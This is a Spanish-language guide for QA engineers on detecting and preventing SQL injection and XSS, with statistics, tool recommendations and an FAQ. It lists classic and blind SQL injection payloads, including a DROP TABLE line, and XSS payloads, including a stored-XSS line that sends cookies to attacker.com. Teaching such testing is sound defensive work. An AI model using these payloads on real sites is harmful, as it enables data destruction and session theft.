SQL injection y XSS siguen siendo las vulnerabilidades más explotadas en aplicaciones web: según OWASP Top 10 2021, los ataques de inyección (A03) afectan al 94% de las aplicaciones testeadas, y XSS se encuentra en el 41% de las aplicaciones web durante evaluaciones de seguridad. Verizon DBIR 2024 reporta que el 40% de las brechas de datos confirmadas involucran ataques a aplicaciones web, con SQL injection como vector principal. A pesar de décadas de concientización, estas vulnerabilidades persisten porque los desarrolladores mezclan el input del usuario con la lógica de consultas y renderizan contenido sin sanitizar en el navegador. Para los equipos QA, testear SQL injection y XSS debe ser parte de cada sprint — tanto en verificaciones exploratorias manuales como en escaneos DAST automatizados en pipelines CI/CD. Esta guía cubre técnicas de detección, testing manual con payloads, herramientas automatizadas con sqlmap y ZAP, y patrones de prevención que los ingenieros QA deben verificar.

TL;DR: SQL injection y XSS siguen en OWASP Top 10 porque son fáciles de introducir y difíciles de eliminar completamente. Testeá con comillas simples y tags script en todos los campos de entrada, usá sqlmap y Burp Suite para escaneo automatizado, y verificá consultas parametrizadas y codificación de salida en code review.

SQL (como se discute en OWASP ZAP Automation: Security Scanning in CI/CD) Injection y Cross-Site Scripting (XSS) permanecen entre las vulnerabilidades más críticas de aplicaciones web. Entender cómo detectar, probar y prevenir estos ataques es esencial para profesionales de QA.

SQL Injection

Tipos de SQL Injection

1. SQL Injection Clásica

SELECT * FROM users WHERE username = '$username'

-- Payload de ataque
username: admin' OR '1'='1

2. Blind SQL Injection

admin' AND SLEEP(5)--
admin' AND 1=1--

Testing

Payloads Manuales:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--

Prevención 

# Mal
query = f"SELECT * FROM users WHERE id = {user_id}"

# Bien: Consultas parametrizadas
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))

Cross-Site Scripting (XSS)

Tipos de XSS

1. Reflected XSS

<script>alert('XSS')</script>

2. Stored XSS

<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>

Testing 

<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>

Prevención 

// Mal
element.innerHTML = userInput;

// Bien
element.textContent = userInput;

// CSP
Content-Security-Policy: default-src 'self'

“SQL injection y XSS no son ataques exóticos — son las consecuencias banales de equipos que se saltan la validación de input. La tarea del QA es encontrarlos antes que los atacantes, cada sprint, no solo en auditorías de seguridad.” — Yuri Kan, Senior QA Lead

Conclusión

SQL Injection y XSS son vulnerabilidades críticas que requieren testing activo. Usa combinación de testing manual y automatizado, implementa validación apropiada y monitorea continuamente.

FAQ

¿Qué es SQL injection y cómo se testea?

SQL injection ocurre cuando el input del usuario se incluye en una consulta SQL sin sanitización. Testeá insertando payloads: ', OR 1=1--, UNION SELECT. Según OWASP Testing Guide v4.2, injection es la clase de vulnerabilidad de mayor prioridad en testing de seguridad. Usá sqlmap para automatización y Burp Suite para verificación manual.

¿Cuál es la diferencia entre stored XSS y reflected XSS?

Reflected XSS: el script en la URL se devuelve inmediatamente — requiere ingeniería social. Stored XSS: el script se guarda en la BD y se ejecuta para cada usuario que ve la página — impacto mucho mayor. DOM-based XSS manipula el DOM del lado del cliente. PortSwigger Web Security Academy cubre los tres tipos con labs interactivos gratuitos.

¿Qué herramientas se usan para testear SQL injection y XSS?

sqlmap — escáner automatizado de SQL injection; Burp Suite — proxy manual con escáner; OWASP ZAP — escáner automatizado gratuito; DevTools del navegador para inyección manual. Para CI/CD — herramientas DAST como ZAP se integran en los pipelines para detectar vulnerabilidades en cada build.

¿Cómo se previene SQL injection en aplicaciones modernas?

Usá consultas parametrizadas — nunca concatenes el input del usuario en cadenas SQL. Aplicá un ORM con parametrización, validá el input en whitelist, usá cuentas de BD con mínimos privilegios e implementá reglas WAF. Django, Rails e Hibernate manejan la parametrización automáticamente cuando se usan correctamente.

Recursos Oficiales

See Also